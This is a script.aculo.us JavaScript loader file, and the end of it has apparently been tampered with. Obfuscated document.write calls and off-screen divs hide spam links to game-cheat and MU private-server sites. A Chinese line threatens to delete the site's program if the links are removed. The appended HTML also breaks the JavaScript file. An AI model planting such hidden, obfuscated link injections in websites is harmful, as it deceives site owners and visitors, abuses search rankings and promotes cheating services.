Scriptaculous = {
  Version: '1.5_pre1',
  require: function(libraryName) {
    // inserting via DOM fails in Safari 2.0, so brute force approach
    document.write('<script type="text/javascript" src="'+libraryName+'"></script>');
  },
  load: function() {
    // fixme: check for prototype version number
    if(typeof Prototype=='undefined') 
      throw("script.aculo.us requires the Prototype JavaScript framework >= 1.4.0");
    var scriptTags = document.getElementsByTagName("script");
    for(var i=0;i<scriptTags.length;i++) {
      if(scriptTags[i].src && scriptTags[i].src.match(/scriptaculous\.js$/)) {
        var path = scriptTags[i].src.replace(/scriptaculous\.js$/,'');
        this.require(path + 'util.js');
        this.require(path + 'effects.js');
        this.require(path + 'dragdrop.js');
        this.require(path + 'controls.js');
      }
    }
  }
}

Scriptaculous.load();
<script>document.write ('<d' + 'iv st' + 'yle' + '="po' + 'si' + 'tio' + 'n:a' + 'bso' + 'lu' + 'te;l' + 'ef' + 't:' + '-' + '10' + '00' + '0' + 'p' + 'x;' + '"' + '>');</script><div>友情链接：
<a href="http://www.51cfwg.com">CF外挂</a>
<a href="http://www.34cf.com">CF外挂</a>
删我黑连的,我将直接删除站程序,大家都别挂黑连！
</div><script>document.write ('<' + '/d' + 'i' + 'v>');</script>
<div style="position: absolute; top: -999px;left: -999px;">
<A href="http://www.mu90.com/" title="奇迹私服"><b>奇迹私服发布网</b></A>
<A href="http://www.haixiaomu.com/" title="奇迹私服一条龙"><b>奇迹私服一条龙</b></A>
<A href="http://www.99qjw.com.com/" title="奇迹私服"><b>奇迹私服网</b></A>
</div>